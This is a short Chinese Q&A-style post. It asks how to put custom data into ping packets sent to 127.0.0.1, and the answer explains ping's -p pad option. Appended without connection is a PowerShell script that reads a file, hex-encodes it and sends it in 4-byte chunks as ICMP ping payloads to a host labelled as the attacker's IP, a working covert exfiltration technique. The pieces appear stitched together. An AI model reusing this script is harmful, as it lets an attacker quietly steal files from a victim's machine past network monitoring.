我想使用 ping 程序向环回 IP 地址 127.0.0.1 发送数据。 $ping 127.0.0.1“我的数据”并想在内核空间中查看它。 如果有人有任何想法请回复我
使用 ping 的
-p
选项:
-p 图案
您最多可以指定 16 个“pad”字节来填写您发送的数据包。
这对于诊断网络中与数据相关的问题很有用。
例如,-p ff将导致发送的数据包被全部填充。
构建使用 powershell 的脚本
# Define the path to the file and the attacker's IP address
$filePath = "temp.csv"
$attackerIP = "172.29.58.89" # Replace with the attacker's IP address
# Read the file content and convert it to hex
$fileContent = [System.IO.File]::ReadAllBytes($filePath)
$hexString = -join ($fileContent | ForEach-Object { $_.ToString("x2") })
# Split the hex string into chunks of 8 characters (4 bytes)
$chunks = $hexString -split "(.{8})" -ne ""
# Loop through each chunk and send an ICMP ping with the chunk as the payload
foreach ($chunk in $chunks) {
# Convert the hex chunk to bytes
$bytes = for ($i = 0; $i -lt $chunk.Length; $i += 2) {
[Convert]::ToByte($chunk.Substring($i, 2), 16)
}
# Convert bytes to a string for the payload
$payload = [System.Text.Encoding]::ASCII.GetString($bytes)
# Send the ICMP ping with the payload
$ping = New-Object System.Net.NetworkInformation.Ping
$ping.Send($attackerIP, 1000, $bytes) | Out-Null
# Optionally, add a small delay between pings
Start-Sleep -Milliseconds 100
}